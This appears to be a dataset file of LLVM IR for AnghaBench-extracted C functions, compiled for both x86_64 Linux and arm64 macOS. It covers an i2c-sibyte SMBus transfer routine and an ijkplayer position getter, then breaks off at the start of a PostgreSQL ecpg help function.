; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/i2c/busses/extr_i2c-sibyte.c_smbus_xfer.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/i2c/busses/extr_i2c-sibyte.c_smbus_xfer.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @R_SMB_STATUS = dso_local local_unnamed_addr global i32 0, align 4 @M_SMB_BUSY = dso_local local_unnamed_addr global i32 0, align 4 @I2C_SMBUS_READ = dso_local local_unnamed_addr global i8 0, align 1 @M_SMB_QDATA = dso_local local_unnamed_addr global i32 0, align 4 @V_SMB_TT_QUICKCMD = dso_local local_unnamed_addr global i32 0, align 4 @R_SMB_START = dso_local local_unnamed_addr global i32 0, align 4 @V_SMB_TT_RD1BYTE = dso_local local_unnamed_addr global i32 0, align 4 @R_SMB_CMD = dso_local local_unnamed_addr global i32 0, align 4 @V_SMB_TT_WR1BYTE = dso_local local_unnamed_addr global i32 0, align 4 @V_SMB_TT_CMD_RD1BYTE = dso_local local_unnamed_addr global i32 0, align 4 @R_SMB_DATA = dso_local local_unnamed_addr global i32 0, align 4 @V_SMB_TT_WR2BYTE = dso_local local_unnamed_addr global i32 0, align 4 @V_SMB_TT_CMD_RD2BYTE = dso_local local_unnamed_addr global i32 0, align 4 @M_SMB_ERROR = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @smbus_xfer], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal noundef i32 @smbus_xfer(ptr nocapture noundef readonly %0, i32 noundef %1, i16 zeroext %2, i8 noundef signext %3, i32 noundef %4, i32 noundef %5, ptr nocapture noundef %6) #0 { %8 = load ptr, ptr %0, align 8, !tbaa !5 br label %9 9: ; preds = %9, %7 %10 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !10 %11 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %10) #2 %12 = tail call i32 @csr_in32(i32 noundef %11) #2 %13 = load i32, ptr @M_SMB_BUSY, align 4, !tbaa !10 %14 = and i32 %13, %12 %15 = icmp eq i32 %14, 0 br i1 %15, label %16, label %9, !llvm.loop !12 16: ; preds = %9 switch i32 %5, label %120 [ i32 129, label %17 i32 131, label %25 i32 130, label %38 i32 128, label %56 ] 17: ; preds = %16 %18 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %19 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !14 %20 = icmp eq i8 %19, %3 %21 = load i32, ptr @M_SMB_QDATA, align 4 %22 = select i1 %20, i32 %21, i32 0 %23 = or i32 %22, %18 %24 = load i32, ptr @V_SMB_TT_QUICKCMD, align 4, !tbaa !10 br label %81 25: ; preds = %16 %26 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !14 %27 = icmp eq i8 %26, %3 br i1 %27, label %28, label %31 28: ; preds = %25 %29 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %30 = load i32, ptr @V_SMB_TT_RD1BYTE, align 4, !tbaa !10 br label %81 31: ; preds = %25 %32 = tail call i32 @V_SMB_CMD(i32 noundef %4) #2 %33 = load i32, ptr @R_SMB_CMD, align 4, !tbaa !10 %34 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %33) #2 %35 = tail call i32 @csr_out32(i32 noundef %32, i32 noundef %34) #2 %36 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %37 = load i32, ptr @V_SMB_TT_WR1BYTE, align 4, !tbaa !10 br label %81 38: ; preds = %16 %39 = tail call i32 @V_SMB_CMD(i32 noundef %4) #2 %40 = load i32, ptr @R_SMB_CMD, align 4, !tbaa !10 %41 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %40) #2 %42 = tail call i32 @csr_out32(i32 noundef %39, i32 noundef %41) #2 %43 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !14 %44 = icmp eq i8 %43, %3 br i1 %44, label %45, label %48 45: ; preds = %38 %46 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %47 = load i32, ptr @V_SMB_TT_CMD_RD1BYTE, align 4, !tbaa !10 br label %81 48: ; preds = %38 %49 = load i32, ptr %6, align 4, !tbaa !14 %50 = tail call i32 @V_SMB_LB(i32 noundef %49) #2 %51 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !10 %52 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %51) #2 %53 = tail call i32 @csr_out32(i32 noundef %50, i32 noundef %52) #2 %54 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %55 = load i32, ptr @V_SMB_TT_WR2BYTE, align 4, !tbaa !10 br label %81 56: ; preds = %16 %57 = tail call i32 @V_SMB_CMD(i32 noundef %4) #2 %58 = load i32, ptr @R_SMB_CMD, align 4, !tbaa !10 %59 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %58) #2 %60 = tail call i32 @csr_out32(i32 noundef %57, i32 noundef %59) #2 %61 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !14 %62 = icmp eq i8 %61, %3 br i1 %62, label %63, label %66 63: ; preds = %56 %64 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %65 = load i32, ptr @V_SMB_TT_CMD_RD2BYTE, align 4, !tbaa !10 br label %81 66: ; preds = %56 %67 = load i32, ptr %6, align 4, !tbaa !14 %68 = and i32 %67, 255 %69 = tail call i32 @V_SMB_LB(i32 noundef %68) #2 %70 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !10 %71 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %70) #2 %72 = tail call i32 @csr_out32(i32 noundef %69, i32 noundef %71) #2 %73 = load i32, ptr %6, align 4, !tbaa !14 %74 = ashr i32 %73, 8 %75 = tail call i32 @V_SMB_MB(i32 noundef %74) #2 %76 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !10 %77 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %76) #2 %78 = tail call i32 @csr_out32(i32 noundef %75, i32 noundef %77) #2 %79 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %80 = load i32, ptr @V_SMB_TT_WR2BYTE, align 4, !tbaa !10 br label %81 81: ; preds = %63, %66, %45, %48, %28, %31, %17 %82 = phi i32 [ %64, %63 ], [ %79, %66 ], [ %46, %45 ], [ %54, %48 ], [ %29, %28 ], [ %36, %31 ], [ %24, %17 ] %83 = phi i32 [ %65, %63 ], [ %80, %66 ], [ %47, %45 ], [ %55, %48 ], [ %30, %28 ], [ %37, %31 ], [ %23, %17 ] %84 = phi i1 [ false, %63 ], [ false, %66 ], [ true, %45 ], [ false, %48 ], [ true, %28 ], [ false, %31 ], [ false, %17 ] %85 = phi i1 [ true, %63 ], [ false, %66 ], [ false, %45 ], [ false, %48 ], [ false, %28 ], [ false, %31 ], [ false, %17 ] %86 = or i32 %83, %82 %87 = load i32, ptr @R_SMB_START, align 4, !tbaa !10 %88 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %87) #2 %89 = tail call i32 @csr_out32(i32 noundef %86, i32 noundef %88) #2 br label %90 90: ; preds = %90, %81 %91 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !10 %92 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %91) #2 %93 = tail call i32 @csr_in32(i32 noundef %92) #2 %94 = load i32, ptr @M_SMB_BUSY, align 4, !tbaa !10 %95 = and i32 %94, %93 %96 = icmp eq i32 %95, 0 br i1 %96, label %97, label %90, !llvm.loop !15 97: ; preds = %90 %98 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !10 %99 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %98) #2 %100 = tail call i32 @csr_in32(i32 noundef %99) #2 %101 = load i32, ptr @M_SMB_ERROR, align 4, !tbaa !10 %102 = and i32 %101, %100 %103 = icmp eq i32 %102, 0 br i1 %103, label %108, label %104 104: ; preds = %97 %105 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !10 %106 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %105) #2 %107 = tail call i32 @csr_out32(i32 noundef %101, i32 noundef %106) #2 br label %120 108: ; preds = %97 br i1 %84, label %109, label %114 109: ; preds = %108 %110 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !10 %111 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %110) #2 %112 = tail call i32 @csr_in32(i32 noundef %111) #2 %113 = and i32 %112, 255 store i32 %113, ptr %6, align 4, !tbaa !14 br label %114 114: ; preds = %109, %108 br i1 %85, label %115, label %120 115: ; preds = %114 %116 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !10 %117 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %116) #2 %118 = tail call i32 @csr_in32(i32 noundef %117) #2 %119 = and i32 %118, 65535 store i32 %119, ptr %6, align 4, !tbaa !14 br label %120 120: ; preds = %114, %115, %16, %104 %121 = phi i32 [ -1, %104 ], [ -1, %16 ], [ 0, %115 ], [ 0, %114 ] ret i32 %121 } declare i32 @csr_in32(i32 noundef) local_unnamed_addr #1 declare i32 @SMB_CSR(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @csr_out32(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_ADDR(i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_CMD(i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_LB(i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_MB(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"i2c_adapter", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = distinct !{!12, !13} !13 = !{!"llvm.loop.mustprogress"} !14 = !{!8, !8, i64 0} !15 = distinct !{!15, !13}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/i2c/busses/extr_i2c-sibyte.c_smbus_xfer.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/i2c/busses/extr_i2c-sibyte.c_smbus_xfer.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @R_SMB_STATUS = common local_unnamed_addr global i32 0, align 4 @M_SMB_BUSY = common local_unnamed_addr global i32 0, align 4 @I2C_SMBUS_READ = common local_unnamed_addr global i8 0, align 1 @M_SMB_QDATA = common local_unnamed_addr global i32 0, align 4 @V_SMB_TT_QUICKCMD = common local_unnamed_addr global i32 0, align 4 @R_SMB_START = common local_unnamed_addr global i32 0, align 4 @V_SMB_TT_RD1BYTE = common local_unnamed_addr global i32 0, align 4 @R_SMB_CMD = common local_unnamed_addr global i32 0, align 4 @V_SMB_TT_WR1BYTE = common local_unnamed_addr global i32 0, align 4 @V_SMB_TT_CMD_RD1BYTE = common local_unnamed_addr global i32 0, align 4 @R_SMB_DATA = common local_unnamed_addr global i32 0, align 4 @V_SMB_TT_WR2BYTE = common local_unnamed_addr global i32 0, align 4 @V_SMB_TT_CMD_RD2BYTE = common local_unnamed_addr global i32 0, align 4 @M_SMB_ERROR = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @smbus_xfer], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal range(i32 -1, 1) i32 @smbus_xfer(ptr nocapture noundef readonly %0, i32 noundef %1, i16 zeroext %2, i8 noundef signext %3, i32 noundef %4, i32 noundef %5, ptr nocapture noundef %6) #0 { %8 = load ptr, ptr %0, align 8, !tbaa !6 br label %9 9: ; preds = %9, %7 %10 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !11 %11 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %10) #2 %12 = tail call i32 @csr_in32(i32 noundef %11) #2 %13 = load i32, ptr @M_SMB_BUSY, align 4, !tbaa !11 %14 = and i32 %13, %12 %15 = icmp eq i32 %14, 0 br i1 %15, label %16, label %9, !llvm.loop !13 16: ; preds = %9 switch i32 %5, label %125 [ i32 129, label %17 i32 131, label %26 i32 130, label %41 i32 128, label %61 ] 17: ; preds = %16 %18 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %19 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !15 %20 = icmp eq i8 %19, %3 %21 = load i32, ptr @M_SMB_QDATA, align 4 %22 = select i1 %20, i32 %21, i32 0 %23 = or i32 %22, %18 %24 = load i32, ptr @V_SMB_TT_QUICKCMD, align 4, !tbaa !11 %25 = or i32 %23, %24 br label %88 26: ; preds = %16 %27 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !15 %28 = icmp eq i8 %27, %3 br i1 %28, label %29, label %33 29: ; preds = %26 %30 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %31 = load i32, ptr @V_SMB_TT_RD1BYTE, align 4, !tbaa !11 %32 = or i32 %31, %30 br label %88 33: ; preds = %26 %34 = tail call i32 @V_SMB_CMD(i32 noundef %4) #2 %35 = load i32, ptr @R_SMB_CMD, align 4, !tbaa !11 %36 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %35) #2 %37 = tail call i32 @csr_out32(i32 noundef %34, i32 noundef %36) #2 %38 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %39 = load i32, ptr @V_SMB_TT_WR1BYTE, align 4, !tbaa !11 %40 = or i32 %39, %38 br label %88 41: ; preds = %16 %42 = tail call i32 @V_SMB_CMD(i32 noundef %4) #2 %43 = load i32, ptr @R_SMB_CMD, align 4, !tbaa !11 %44 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %43) #2 %45 = tail call i32 @csr_out32(i32 noundef %42, i32 noundef %44) #2 %46 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !15 %47 = icmp eq i8 %46, %3 br i1 %47, label %48, label %52 48: ; preds = %41 %49 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %50 = load i32, ptr @V_SMB_TT_CMD_RD1BYTE, align 4, !tbaa !11 %51 = or i32 %50, %49 br label %88 52: ; preds = %41 %53 = load i32, ptr %6, align 4, !tbaa !15 %54 = tail call i32 @V_SMB_LB(i32 noundef %53) #2 %55 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !11 %56 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %55) #2 %57 = tail call i32 @csr_out32(i32 noundef %54, i32 noundef %56) #2 %58 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %59 = load i32, ptr @V_SMB_TT_WR2BYTE, align 4, !tbaa !11 %60 = or i32 %59, %58 br label %88 61: ; preds = %16 %62 = tail call i32 @V_SMB_CMD(i32 noundef %4) #2 %63 = load i32, ptr @R_SMB_CMD, align 4, !tbaa !11 %64 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %63) #2 %65 = tail call i32 @csr_out32(i32 noundef %62, i32 noundef %64) #2 %66 = load i8, ptr @I2C_SMBUS_READ, align 1, !tbaa !15 %67 = icmp eq i8 %66, %3 br i1 %67, label %68, label %72 68: ; preds = %61 %69 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %70 = load i32, ptr @V_SMB_TT_CMD_RD2BYTE, align 4, !tbaa !11 %71 = or i32 %70, %69 br label %88 72: ; preds = %61 %73 = load i32, ptr %6, align 4, !tbaa !15 %74 = and i32 %73, 255 %75 = tail call i32 @V_SMB_LB(i32 noundef %74) #2 %76 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !11 %77 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %76) #2 %78 = tail call i32 @csr_out32(i32 noundef %75, i32 noundef %77) #2 %79 = load i32, ptr %6, align 4, !tbaa !15 %80 = ashr i32 %79, 8 %81 = tail call i32 @V_SMB_MB(i32 noundef %80) #2 %82 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !11 %83 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %82) #2 %84 = tail call i32 @csr_out32(i32 noundef %81, i32 noundef %83) #2 %85 = tail call i32 @V_SMB_ADDR(i32 noundef %1) #2 %86 = load i32, ptr @V_SMB_TT_WR2BYTE, align 4, !tbaa !11 %87 = or i32 %86, %85 br label %88 88: ; preds = %68, %72, %48, %52, %29, %33, %17 %89 = phi i32 [ %71, %68 ], [ %87, %72 ], [ %51, %48 ], [ %60, %52 ], [ %32, %29 ], [ %40, %33 ], [ %25, %17 ] %90 = phi i1 [ false, %68 ], [ false, %72 ], [ true, %48 ], [ false, %52 ], [ true, %29 ], [ false, %33 ], [ false, %17 ] %91 = phi i1 [ true, %68 ], [ false, %72 ], [ false, %48 ], [ false, %52 ], [ false, %29 ], [ false, %33 ], [ false, %17 ] %92 = load i32, ptr @R_SMB_START, align 4, !tbaa !11 %93 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %92) #2 %94 = tail call i32 @csr_out32(i32 noundef %89, i32 noundef %93) #2 br label %95 95: ; preds = %95, %88 %96 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !11 %97 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %96) #2 %98 = tail call i32 @csr_in32(i32 noundef %97) #2 %99 = load i32, ptr @M_SMB_BUSY, align 4, !tbaa !11 %100 = and i32 %99, %98 %101 = icmp eq i32 %100, 0 br i1 %101, label %102, label %95, !llvm.loop !16 102: ; preds = %95 %103 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !11 %104 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %103) #2 %105 = tail call i32 @csr_in32(i32 noundef %104) #2 %106 = load i32, ptr @M_SMB_ERROR, align 4, !tbaa !11 %107 = and i32 %106, %105 %108 = icmp eq i32 %107, 0 br i1 %108, label %113, label %109 109: ; preds = %102 %110 = load i32, ptr @R_SMB_STATUS, align 4, !tbaa !11 %111 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %110) #2 %112 = tail call i32 @csr_out32(i32 noundef %106, i32 noundef %111) #2 br label %125 113: ; preds = %102 br i1 %90, label %114, label %119 114: ; preds = %113 %115 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !11 %116 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %115) #2 %117 = tail call i32 @csr_in32(i32 noundef %116) #2 %118 = and i32 %117, 255 store i32 %118, ptr %6, align 4, !tbaa !15 br label %119 119: ; preds = %114, %113 br i1 %91, label %120, label %125 120: ; preds = %119 %121 = load i32, ptr @R_SMB_DATA, align 4, !tbaa !11 %122 = tail call i32 @SMB_CSR(ptr noundef %8, i32 noundef %121) #2 %123 = tail call i32 @csr_in32(i32 noundef %122) #2 %124 = and i32 %123, 65535 store i32 %124, ptr %6, align 4, !tbaa !15 br label %125 125: ; preds = %119, %120, %16, %109 %126 = phi i32 [ -1, %109 ], [ -1, %16 ], [ 0, %120 ], [ 0, %119 ] ret i32 %126 } declare i32 @csr_in32(i32 noundef) local_unnamed_addr #1 declare i32 @SMB_CSR(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @csr_out32(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_ADDR(i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_CMD(i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_LB(i32 noundef) local_unnamed_addr #1 declare i32 @V_SMB_MB(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"i2c_adapter", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !12, i64 0} !12 = !{!"int", !9, i64 0} !13 = distinct !{!13, !14} !14 = !{!"llvm.loop.mustprogress"} !15 = !{!9, !9, i64 0} !16 = distinct !{!16, !14}
fastsocket_kernel_drivers_i2c_busses_extr_i2c-sibyte.c_smbus_xfer
; ModuleID = 'AnghaBench/ijkplayer/ijkmedia/ijkplayer/extr_ijkplayer.c_ijkmp_get_current_position.c' source_filename = "AnghaBench/ijkplayer/ijkmedia/ijkplayer/extr_ijkplayer.c_ijkmp_get_current_position.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_5__ = type { i64, i32, i64 } ; Function Attrs: nounwind uwtable define dso_local i64 @ijkmp_get_current_position(ptr noundef %0) local_unnamed_addr #0 { %2 = tail call i32 @assert(ptr noundef %0) #2 %3 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 1 %4 = tail call i32 @pthread_mutex_lock(ptr noundef nonnull %3) #2 %5 = getelementptr inbounds %struct.TYPE_5__, ptr %0, i64 0, i32 2 %6 = load i64, ptr %5, align 8, !tbaa !5 %7 = icmp eq i64 %6, 0 br i1 %7, label %10, label %8 8: ; preds = %1 %9 = load i64, ptr %0, align 8, !tbaa !11 br label %12 10: ; preds = %1 %11 = tail call i64 @ijkmp_get_current_position_l(ptr noundef nonnull %0) #2 br label %12 12: ; preds = %10, %8 %13 = phi i64 [ %9, %8 ], [ %11, %10 ] %14 = tail call i32 @pthread_mutex_unlock(ptr noundef nonnull %3) #2 ret i64 %13 } declare i32 @assert(ptr noundef) local_unnamed_addr #1 declare i32 @pthread_mutex_lock(ptr noundef) local_unnamed_addr #1 declare i64 @ijkmp_get_current_position_l(ptr noundef) local_unnamed_addr #1 declare i32 @pthread_mutex_unlock(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 16} !6 = !{!"TYPE_5__", !7, i64 0, !10, i64 8, !7, i64 16} !7 = !{!"long", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"int", !8, i64 0} !11 = !{!6, !7, i64 0}
; ModuleID = 'AnghaBench/ijkplayer/ijkmedia/ijkplayer/extr_ijkplayer.c_ijkmp_get_current_position.c' source_filename = "AnghaBench/ijkplayer/ijkmedia/ijkplayer/extr_ijkplayer.c_ijkmp_get_current_position.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" ; Function Attrs: nounwind ssp uwtable(sync) define i64 @ijkmp_get_current_position(ptr noundef %0) local_unnamed_addr #0 { %2 = tail call i32 @assert(ptr noundef %0) #2 %3 = getelementptr inbounds i8, ptr %0, i64 8 %4 = tail call i32 @pthread_mutex_lock(ptr noundef nonnull %3) #2 %5 = getelementptr inbounds i8, ptr %0, i64 16 %6 = load i64, ptr %5, align 8, !tbaa !6 %7 = icmp eq i64 %6, 0 br i1 %7, label %10, label %8 8: ; preds = %1 %9 = load i64, ptr %0, align 8, !tbaa !12 br label %12 10: ; preds = %1 %11 = tail call i64 @ijkmp_get_current_position_l(ptr noundef nonnull %0) #2 br label %12 12: ; preds = %10, %8 %13 = phi i64 [ %9, %8 ], [ %11, %10 ] %14 = tail call i32 @pthread_mutex_unlock(ptr noundef nonnull %3) #2 ret i64 %13 } declare i32 @assert(ptr noundef) local_unnamed_addr #1 declare i32 @pthread_mutex_lock(ptr noundef) local_unnamed_addr #1 declare i64 @ijkmp_get_current_position_l(ptr noundef) local_unnamed_addr #1 declare i32 @pthread_mutex_unlock(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 16} !7 = !{!"TYPE_5__", !8, i64 0, !11, i64 8, !8, i64 16} !8 = !{!"long", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"int", !9, i64 0} !12 = !{!7, !8, i64 0}
ijkplayer_ijkmedia_ijkplayer_extr_ijkplayer.c_ijkmp_get_current_position
; ModuleID = 'AnghaBench/postgres/src/interfaces/ecpg/preproc/extr_ecpg.c_help.c' source_filename = "AnghaBench/postgres/src/interfaces/ecpg/preproc/extr_ecpg.c_help.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @.str = private unnamed_addr constant [65 x i8] c"%s is the PostgreSQL embedded SQL preprocessor for C programs.\0A\0A\00", align 1 @.str.1 = private unnamed_addr constant [34 x i8] c"Usage:\0A %s [OPTION]... FILE...\0A\0A\00", align 1 @.str.2 = private unnamed_addr constant [10 x i8] c"Options:\0A\00", align 1 @.str.3 = private unnamed_addr constant [116 x i8] c" -c automatically generate C code from embedded SQL code;\0A this affects EXEC SQL TYPE\0A\00", align 1 @.str.4 = private 